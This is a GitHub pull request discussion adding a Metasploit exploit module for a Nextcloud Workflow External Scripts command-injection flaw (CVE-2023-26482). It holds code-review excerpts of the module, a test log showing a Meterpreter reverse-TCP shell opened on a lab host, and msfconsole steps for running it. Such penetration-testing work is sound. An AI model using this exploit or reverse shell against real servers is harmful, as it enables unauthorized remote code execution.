-
Notifications
You must be signed in to change notification settings - Fork 14.3k
Add exploit module for the nextcloud workflow vulnerability CVE-2023-26482 #20020
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
} | ||
] | ||
], | ||
'CmdStagerFlavor' => %w[bourne curl wget printf echo], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think you included the CmdStager
mixin inside the module, this option is probably going to be ignored.
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']), | ||
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit to connect back', 960]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You can use WsfDelay
here and remove all the handling code related to this.
'DefaultOptions' => { 'WfsDelay' => 24.hours.seconds.to_i }, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I am not sure about WsfDelay. Because later I do some cleanup-stuff after the payload connects to the listener. I don't know how to rearange that with WsfDelay.
# At the end of the module, especially for reverse_tcp payloads, wait for | ||
# the payload to connect back to us. There's a very high probability we | ||
# will lose the payload's signal otherwise. | ||
# | ||
# copied from: linux/http/huawei_hg532n_cmdinject.rb | ||
# | ||
def wait_for_payload_session | ||
print_status 'Waiting for the payload to connect back ..' | ||
begin | ||
Timeout.timeout(datastore['ListenerTimeout']) do | ||
loop do | ||
break if session_created? | ||
|
||
Rex.sleep(0.25) | ||
end | ||
end | ||
rescue ::Timeout::Error | ||
fail_with(Failure::Unknown, 'Timeout waiting for payload to start/connect-back') | ||
end | ||
print_good 'Payload connected!' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Probably this is not necessary with MsfDelay
when :linux_dropper | ||
execute_cmdstager | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
CmdStager
mixin is missing. is there any reason you would prefer the CmdStager
instead of the FetchPayload
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
there is no reason for that. is it sufficient to delete the CmdStagerFlavor-option and change the payload to a fetch-payload? or do I have to change the structure of the exploit-method as well?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think you can just change payload to fetch payload, or more precisely, just remove linux_dropper
because cmd/linux/http/x64/meterpreter/reverse_tcp
is already fetch payload. Furthermore, you can use new FETCH_PIPE
option to generate two-stage payload execution.
print_status('Sending payload..') | ||
temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt" | ||
flow_id = create_workflow(cmd.to_s) | ||
|
||
fail_with(Failure::Unreachable, 'Unable to create workflow') if flow_id.nil? | ||
|
||
print_good('Workflow created') | ||
|
||
Thread.new do | ||
# wait a bit until wait_for_payload_session | ||
# is up'n'running | ||
Rex::ThreadSafe.sleep(10) | ||
upload_file(temp_filename) | ||
end | ||
|
||
wait_for_payload_session | ||
|
||
if flow_id | ||
print_status('Cleaning up') | ||
delete_workflow(flow_id) | ||
end | ||
|
||
delete_file(datastore['USERNAME'], temp_filename) | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Probably this can be re-arranged if the MsfDelay
works fine.
Thread.new do | ||
# wait a bit until wait_for_payload_session | ||
# is up'n'running | ||
Rex::ThreadSafe.sleep(10) | ||
upload_file(temp_filename) | ||
end | ||
|
||
wait_for_payload_session |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it make sense to make this sequential, but just reverse the order? Something like:
Thread.new do | |
# wait a bit until wait_for_payload_session | |
# is up'n'running | |
Rex::ThreadSafe.sleep(10) | |
upload_file(temp_filename) | |
end | |
wait_for_payload_session | |
wait_for_payload_session | |
upload_file(temp_filename) |
Or is there a reason why the thread has to be here?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
As far as I know is wait_for_payload_session a blocking method. This method waits until the uploaded file triggers the payload. That's why I put the upload with a delay in background and execute wait_for_payload_session in forground
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Wouldn't work just upload and then wait? From my very brief testing, it seemed like it's working. But that was just quick test, maybe your testing proved otherwise.
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sorry, I meant if you can remove this file from commit. You can of course leave it be, but it shouldn't be included in commit.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Exploit seemed to be working:
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > exploit
[*] Started reverse TCP handler on 192.168.168.152:4444
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.168.151
[*] Meterpreter session 2 opened (192.168.168.152:4444 -> 192.168.168.151:44250) at 2025-04-16 11:08:26 +0200
[+] Payload connected!
[*] Cleaning up
meterpreter > sysinfo
Computer : 172.18.0.3
OS : Debian 11.5 (Linux 6.8.0-52-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
when :linux_dropper | ||
execute_cmdstager | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think you can just change payload to fetch payload, or more precisely, just remove linux_dropper
because cmd/linux/http/x64/meterpreter/reverse_tcp
is already fetch payload. Furthermore, you can use new FETCH_PIPE
option to generate two-stage payload execution.
Thread.new do | ||
# wait a bit until wait_for_payload_session | ||
# is up'n'running | ||
Rex::ThreadSafe.sleep(10) | ||
upload_file(temp_filename) | ||
end | ||
|
||
wait_for_payload_session |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Wouldn't work just upload and then wait? From my very brief testing, it seemed like it's working. But that was just quick test, maybe your testing proved otherwise.
This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed. The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0
Verification
This nextcloud-installation was created in a Virtualbox VM with the following specs:
This exploit was tested against a nextcloud docker container and docker-compose with the following docker-compose.yml:
NOTE: Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup
After
docker compose up -d
login as admin and install the workflow app: "Workflow external script" andcreate a low privileged user
alice
. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs".Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the
payload doesn't get triggered:
Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php".
Verification Steps
NOTE: In my setup the msf-framework was installed on a different host. If you install it on the nextcloud-host, make sure that you change FETCH_SRVPORT: set FETCH_SRVPORT 8081
Example steps in this format (is also in the PR):
use exploit/unix/webapp/nextcloud_workflows_rce
set RHOSTS [ips]
set LHOST [lhost]
set RPORT 8080
set USERNAME alice
set PASSWORD alice-password
run
The following demo shows how to use the exploit: